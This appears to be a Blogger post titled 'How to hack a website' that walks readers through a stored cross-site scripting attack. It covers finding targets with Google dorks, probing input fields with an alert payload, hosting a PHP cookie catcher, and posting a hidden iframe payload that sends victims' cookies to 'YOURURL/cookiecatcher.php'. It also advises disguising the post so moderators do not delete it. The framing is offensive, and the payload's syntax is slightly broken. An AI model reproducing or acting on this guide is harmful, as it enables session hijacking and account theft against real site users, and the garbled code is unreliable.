Header Ads

How to hack a website



What is Cross Site Scripting? Cross Site Scripting is also known as XSS, is one of the most common web application vulnerability that allows an attacker to run his own client-side scripts (especially Javascript) into web pages viewed by other users.


In a typical XSS attack, a hacker injects his malicious javascript code on the legitimate website. When a user visits the infected or a specially-crafted link, it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Step 1: Finding Vulnerable Website Hackers use google dork for finding the vulnerable sites. E target specific sites instead of using google search. If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability: First of all, we have to find an input field so that we can inject our own script, for example, search box, username, password or any other input fields.

Step3: Go to create a post. You will need to type some special code into the "post” which will capture the data of all who click on it. - You’ll want to test to see if the system filters outcode. Post:

window.alert("test")


If an alert box appears when you click on your post, then the site is vulnerable to attack

Step4: Create and upload your cookie catcher. The goal of this attack is to capture a user’s cookies, which allows you access to their account for websites with vulnerable logins. You’ll need a cookie catcher, which will capture your target’s cookies and reroute them. Upload the catcher to a website you have access to and that supports php.

Step5: Post with your cookie catcher. Input a proper code into the post which will capture the cookies and send them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. - An example code would look like:

<iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>

Step6: Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

What can an attacker do with this Vulnerability? 

  • stealing the Identity and Confidential Data(credit card details).
  • Bypassing restriction on websites.
  • Session Hijacking(Stealing session)
  • Malware Attack
  • Website Defacement

No comments:

Powered by Blogger.